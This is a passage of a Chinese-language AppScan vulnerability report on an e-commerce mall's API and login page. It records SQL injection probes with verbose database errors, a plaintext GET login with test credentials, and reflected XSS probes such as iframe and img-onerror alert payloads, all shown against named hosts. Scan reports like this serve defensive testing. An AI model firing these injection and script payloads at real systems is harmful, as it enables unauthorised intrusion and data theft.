Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:08 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returnCode": 0,
 "msg": "org.springframework.jdbc.BadSqlGrammarException: \n### Error querying database.
Cause: org.postgresql.util.PSQLException: ERROR: syntax error at or near \";\"\n Position:
122\n### The error may exist in URL [jar:file:/apps/provider/base/vr-base-provider-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubBrandMapper.xml]\n### The error may involve
com.suneee.scn.base.dao.PubBrandDao.selectByParam-Inline\n### The error occurred while setting
parameters\n### SQL: select * from pub brand f where 1=1 and status=1 and enterpriseid=55 and
(to char(f.brandid ,'9999999') like '%dsfdsafsa'; select * from dbo.sysdatabases--%' or f.opcode
like '%dsfdsafsa'; select * from dbo.sysdatabases--%' or f.brandname like '%dsfdsafsa'; select * from dbo.sysdatabases--%')\n### Cause: org.postgresql.util.PSQLException: ERROR: syntax error at
or near \";\"\n Position: 122\n; bad SQL grammar []; nested exception is
org.postgresql.util.PSQLException: ERROR: syntax error at or near \";\"\n Position: 122",
 "html": null
```

变体-|9/10

差异: 参数 从以下位置进行控制: dsfdsafsa 至:

dsfdsafsa%27%3B+select+*+from+sys.dba users--

推理: 测试结果似乎指示存在脆弱性,因为响应包含 SQL Server 错误。这表明测试设法通过注入危险字符穿透了应用程序并到达 SQL 查询本身。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword=dsfdsafsa%27%3B+select+*+from+sys.dba users--
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
```

```
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:08 GMT
Content-Type: application/json
Transfer-Encoding: chunked
   "data": [
   "returnCode": 0,
   "msg": "org.springframework.jdbc.BadSqlGrammarException: \n### Error querying database.
Cause: org.postgresql.util.PSQLException: ERROR: syntax error at or near \";\"\n Position:
122\n### The error may exist in URL [jar:file:/apps/provider/base/vr-base-provider-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubBrandMapper.xml]\n### The error may involve
\verb|com.suneee.scn.base.dao.PubBrandDao.selectByParam-Inline \verb| n \# \# \# \\ \verb| The error occurred while setting | a strong settin
parameters\n### SQL: select * from pub brand f where 1=1 and status=1 and enterpriseid=55 and
 (to_char(f.brandid ,'9999999') like '%dsfdsafsa'; select * from sys.dba_users--%' or f.opcode
like '%dsfdsafsa'; select * from sys.dba users--%' or f.brandname like '%dsfdsafsa'; select *
from sys.dba users--%')\n### Cause: org.postgresql.util.PSQLException: ERROR: syntax error at or
near \";\"\n Position: 122\n; bad SQL grammar []; nested exception is org.postgresql.util.PSQLException: ERROR: syntax error at or near \";\"\n Position: 122",
    "html": null
```

变体- | 10 / 10

差异: 参数 从以下位置进行控制: dsfdsafsa 至: dsfdsafsa%a5'%20having%201=1--

推理: 测试结果似乎指示存在脆弱性,因为响应包含 **SQL** Server 错误。这表明测试设法通过 注入危险字符穿诱了应用程序并到达 **SQL** 查询本身。

测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword=dsfdsafsa%a5'%20having%201=1-- HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:21:08 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
 "returnCode": 0,
 "msg": "org.springframework.jdbc.BadSqlGrammarException: \n### Error querying database.
Cause: org.postgresql.util.PSQLException: ERROR: syntax error at or near \"having\"\n Position:
124\n### The error may exist in URL [jar:file:/apps/provider/base/vr-base-provider-1.0.0-
{\tt SNAPSHOT.jar!/mybatisMap/PubBrandMapper.xml] \\ {\tt n\#\#\# The\ error\ may\ involve}
com.suneee.scn.base.dao.PubBrandDao.selectBvParam-Inline\n### The error occurred while setting
parameters\n\#\#\ SQL: select * from pub_brand f where 1=1 and status=1 and enterpriseid=55 and
(to char(f.brandid ,'9999999') like '%dsfdsafsa�' having 1=1--%' or f.opcode like '%dsfdsafsa�'
having 1=1--%' or f.brandname like '%dsfdsafsa ♦' having 1=1--%')\n### Cause:
```

```
org.postgresql.util.PSQLException: ERROR: syntax error at or near \"having\"\n Position: 124\n; bad SQL grammar []; nested exception is org.postgresql.util.PSQLException: ERROR: syntax error at or near \"having\"\n Position: 124",
   "html": null
}
```

高

已解密的登录请求 1

TOC

问题 **1 / 1** Toc

己解密的登录请求		
严重性:	高	
CVSS 分数:	8.5	
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/login.html	
实体:	login-password (Parameter)	
风险:	可能会窃取诸如用户名和密码等未经加密即发送了的用户登录信息	
原因:	诸如用户名、密码和信用卡号之类的敏感输入字段未经加密即进行了传递	
固定值:	发送敏感信息时,始终使用 SSL 和 POST (主体) 参数。	

差异:

推理: AppScan 识别了不是通过 SSL 发送的密码参数。 测试请求和响应:

```
GET /login.html?login-username=setest01&login-password=123456&login-remember-me=on HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/login.html
Cookie: sessionId=ee7290de32e02a6f31d21e51ab01d02b; enterpriseCode=SUNEEE; enterpriseId=55;
account=setest01; enterpriseLevel=1
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
sessionId: 20687a7693972426b8692099c6af15d7
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
```

```
<!--<![endif]-->
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Tcons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
        .error {
         color: red;
         .toptitle{font-family:"
                                       微软雅黑";font-size:16px;padding-top:10px;}
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/pluqin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
   <!-- Login Background -->
    <div id="login-background">
      <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
```

高

查询中的密码参数_1

TOC

问题 1 / 1 Toc

查询中的密码参数	
严重性:	高
CVSS 分数:	8.5
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/login.html
实体:	login-password (Parameter)
风险:	可能会窃取查询字符串中发送的敏感数据,例如用户名和密码
原因:	查询字符串中传递了敏感输入字段(例如用户名、密码和信用卡号)
固定值:	发送敏感信息时,始终使用 SSL 和 POST (主体) 参数。

差异:

推理: AppScan 识别出查询字符串中接收到的密码参数 测试请求和响应:

```
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if qt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
        .error {
         color: red;
         .toptitle{font-family:"
                                       微软雅黑";font-size:16px;padding-top:10px;}
         body{background-color:#F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
```

```
<script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   -script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"
type="text/javascript" charset="utf-8"></script>
</head>
<body>
   <!-- Login Background -->
   <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   </div>
   <!-- END Login Background -->
   <!-- Login Container -->
   <div id="login-container" class="animation-fadeIn">
      <!-- Login Title -->
       <!-- END Login Title -->
       <!-- Login Block -->
       <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
. . .
. . .
. . .
```

跨站点脚本编制 21

TOC

问题 1 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	pageNum (Parameter)
实体: 风险:	pageNum (Parameter) 可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查

变体-|1/3

差异: 参数 从以下位置进行控制: 1 至: (1%3Ciframe+src%3Djavascript%3Aalert%287337%29%3E)

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1%3Ciframe+src%3Djava
script%3Aalert%287337%29%3E&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57 0 2987 133 Safari/537 36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:00 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1<iframe src=javascript:alert(7337)>"
```

变体-|2/3

差异: 参数 从以下位置进行控制: (1) 至: 1%3Cimg+src%3Djavascript%3Aalert%287345%29%3E)

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Breqex%5D=false&pageNum=1%3Cimg+src%3Djavascr
ipt%3Aalert%287345%29%3E&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:00 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1<img src=javascript:alert(7345)>"
```

变体-|3/3

差异: 参数 从以下位置进行控制: 1 至: 1%3Cimg+src%3Dx+onerror%3Dalert%287368%29%3E

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
\label{lem:draw=1} draw=1 \& start=0 \& length=15 \& search \%5 B value \%5 D=\& search \%5 B regex \%5 D=false \& pageNum=1 \%3 Cimg+src \%3 D x+onerresults for the start of the star
 or%3Dalert%287368%29%3E&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:01 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1<img src=x onerror=alert(7368)>"
```

问题 2 / 21 Toc

跨站点脚本编制	
严重性:	高
CVSS 分数:	7.5
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	start (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务
原因:	未对用户输入正确执行危险字符清理

变体-|1/3

差异: 参数 从以下位置进行控制: 0 至: 0%3Ciframe+src%3Djavascript%3Aalert%287370%29%3E

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1 \& start=0 \% 3 Ciframe+src \% 3 Djavascript \% 3 Aalert \% 287370 \% 29\% 3 E \& length=15 \& search \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 B value \% 5 D=4 S earch \% 5 D=4 
%5Bregex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:01 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "0<iframe src=javascript:alert(7370)>"
```

变体-|2/3

推理:

差异: 参数 从以下位置进行控制: 0 至: 0%3Cimg+src%3Djavascript%3Aalert%287386%29%3E

测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0%3Cimg+src%3Djavascript%3Aalert%287386%29%3E&length=15&search%5Bvalue%5D=&search%5B
regex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:01 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "0<img src=javascript:alert(7386)>"
```

变体-|3/3

差异: 参数 从以下位置进行控制: (0) 至: (0%3Cimg+src%3Dx+onerror%3Dalert%287398%29%3E)

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

GET /goodsRestApi/getGoodsStockList? $\label{lem:draw=1} \\ \text{draw=1} \\ \text{\&start=0} \\ \text{\&start=$ egex%5D=false&pageNum=1&searchValue= HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html Connection: keep-alive Host: vr-goods-rest-enterprise.mall.xt.weilian.cn Accept: application/json, text/javascript, */*; q=0.01 Origin: http://system-rest-enterprise.mall.xt.weilian.cn Accept-Language: en-US, en; q=0.8 sessionId: c5b8689a1098705cd3ffdff0d57563a1 HTTP/1.1 500 Internal Server Error Access-Control-Allow-Headers: x-requested-with, content-type, sessionid Server: openresty Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS Access-Control-Allow-Origin: * Connection: keep-alive Date: Fri, 12 Jan 2018 03:21:01 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked For input string: "0"

问题 **3 / 21** TOC

跨站点脚本编制		
严重性:	高	
CVSS 分数:	7.5	
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList	
实体:	length (Parameter)	
	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务	
风险: 原因:		

变体-|1/3

差异: 参数 从以下位置进行控制: 15 至:

15%3Ciframe+src%3Djavascript%3Aalert%287374%29%3E

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中

装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15%3Ciframe+src%3Djavascript%3Aalert%287374%29%3E&search%5Bvalue%5D=&search
%5Bregex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:01 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15<iframe src=javascript:alert(7374)>"
```

变体-|2/3

差异: 参数 从以下位置进行控制: (15)至: [15%3Cimg+src%3Djavascript%3Aalert%287392%29%3E]

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15%3Cimg+src%3Djavascript%3Aalert%287392%29%3E&search%5Bvalue%5D=&search%5B
regex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:01 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15<img src=javascript:alert(7392)>"
```

变体-|3/3

差异: 参数 从以下位置进行控制: (15) 至: (15%3Cimg+src%3Dx+onerror%3Dalert%287400%29%3E)

推理: 测试结果似乎指示存在脆弱性,因为 Appscan 在响应中成功嵌入了脚本,在用户浏览器中装入页面时将执行该脚本。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15%3Cimg+src%3Dx+onerror%3Dalert%287400%29%3E&search%5Bvalue%5D=&search%5Br
